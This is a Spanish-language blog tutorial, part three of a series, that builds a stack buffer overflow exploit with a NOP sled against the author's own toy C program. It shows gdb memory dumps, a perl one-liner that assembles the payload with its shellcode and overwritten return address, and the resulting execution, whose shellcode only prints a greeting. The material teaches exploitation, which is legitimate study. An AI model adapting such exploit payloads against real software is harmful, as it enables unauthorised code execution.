Blog

Explotación de Software – Parte III – Escribiendo nuestro primer exploit

1 Explotación de Software – Parte I – Introducción y explotación de un buffer overflow

2 Explotación de Software – Parte II – Shellcoding

2 Explotación Software – Parte III – Escribiendo nuestro primer exploit

Tras los dos primeros capítulos ya estamos listos para preparar un exploit que nos permita ejecutar código en el programa vulnerable. Si recordamos, en el primer capítulo modificabamos la ejecución del programa apuntando la dirección de retorno de una función, para ejecutar nuestro shellcode seguiremos la misma premisa aunque añadiremos una técnica adicional para mejorar la efectividad de nuestro exploit.

NOP Sled o NOP Slide

A la hora de escribir un exploit para un programa vulnerable debemos tener en cuenta que este programa puede ser compilado en diferentes entornos que provocarán que las direcciones de memoria no sean siempre las mismas. Para solucionar este problema se utiliza una técnica conocida como NOP sled (o slide o ramp) que consiste en enviar la ejecución del programa a una zona de memoria rellenada con instrucciones NOP.

La instrucción NOP en ensamblador se encarga de no hacer nada, simplemente gasta un ciclo de CPU sin realizar ningún proceso, de ahí su utilidad.

Explicación NOP sled

En la imagen podéis ver como sería el funcionamiento, la dirección de retorno apunta a una dirección en medio de los NOPs y la ejecución continua directamente hasta el inicio del shellcode. Para calcular cuantos NOPS nos caben restamos los bytes de nuestro shellcode al tamaño total de buffer, en nuestro caso el shellcode mide 42 bytes, por lo que debemos restarlos a los 64 bytes reservados por el buffer, dando como resultado 22bytes libres para almacenar los NOPs que se representan con 0x90 en memoria para arquitecturas x86.

Siguiendo este procedimiento tenemos que nuestro payload será 64bytes (22bytes NOP + 42 bytes shellcode) + 4 bytes EBP + 4 Bytes RET por lo que solo tendremos que preparar nuestro payload y pasarselo a nuestro programa para que se ejecute nuestro código.

Nota: Existen diferentes factores que modifican la tarea de preparar el exploit, por ejemplo en las versiones mas modernas de Linux aunque nosotros reservemos 64bytes del buffer esto no significa necesariamente que nuestro buffer vaya a medir 64bytes. Ademas la ejecución de nuestro programa vulnerable dentro o fuera de GDB hace que la estructura del stack varíe. No obstante que este ejemplo se entienda dejaremos a parte estos problemas y trabajaremos dentro de gdb para poder ver como nuestro exploit trabaja en la memoria.

Preparando el exploit

Una vez que ya tenemos nuestro shellcode, sabemos cuantos NOPs debemos utilizar solamente nos queda averiguar cual es la dirección de retorno que debemos usar para enviar la ejecución al NOP sled. Para esto ejecutaremos el programa en el debugger y rellenaremos el buffer para reconocer facilmente donde estará alojado nuestro payload:


(gdb) run
Escriba la contraseña:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, leer_pwd () at codigo.c:7
7    }
(gdb) x/20x $esp
0xbffff47c:    0xbffff480    0x41414141    0x41414141    0x41414141
0xbffff48c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff49c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff4ac:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff4bc:    0x41414141    0xbffff4c8    0x08048473    0xbffff548
(gdb)

Como se puede ver nuestro buffer empieza en 0xbffff480 por lo que deberemos apuntar a esa zona nuestra dirección de retorno, en mi caso he elegido 0xbffff489 que cuadra con el centro de los NOPs que pasaremos con el exploit.

Ahora que ya tenemos la dirección que usaremos, prepararemos el exploit de la siguiente manera:


perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf\x89\xf4\xff\xbf"' > payload

Como veis tenemos nuestro NOP sled, seguido del shellcode y por último nuestra dirección de retorno repetida varias veces, esto es así para asegurarnos que realmente sobreescribimos EIP.

Por último ya solo nos queda ejecutarlo para comprobar el funcionamiento:

//Pasamos el exploit al programa
(gdb) run < payload

Breakpoint 1, leer_pwd () at codigo.c:7
7    }

//Estado del buffer tras almacenar el payload
(gdb) x/20x $esp
0xbffff47c:    0xbffff480    0x90909090    0x90909090    0x90909090
0xbffff48c:    0x90909090    0xc0319090    0xc931db31    0x04b0d231
0xbffff49c:    0x206801b3    0x6820293b    0x63657368    0x69482068
0xbffff4ac:    0x6f486867    0xe189616c    0x80cd0fb2    0xdb3101b0
0xbffff4bc:    0xbffff489    0xbffff489    0xbffff489    0xbffff489

//Nuestra dirección de retorno ha pisado eip como se puede ver a continuación.
(gdb) info frame
Stack level 0, frame at 0xbffff4c8:
eip = 0x8048469 in leer_pwd (codigo.c:7); saved eip 0xbffff489
called by frame at 0xbffff491

//Al continuar la ejecución del programa nuestro shellcode se ejecuta mostrando "Hola Highsec ; )"
(gdb) c
Continuing.
Hola Highsec ; )

Y finalmente ya hemos ejecutado nuestro shellcode en el programa vulnerable.

Espero que os haya gustado, y como siempre cualquier duda u opinión es bienvenida.

  1. erick
    erick11-02-2013

    Excelente bro, bueno pues apenas estoy empezando en esto de exploits
    y esto me viene de maravilla, algunos libros q aconsejes leer?

    gracias

Leave a Reply

*

    No Twitter Messages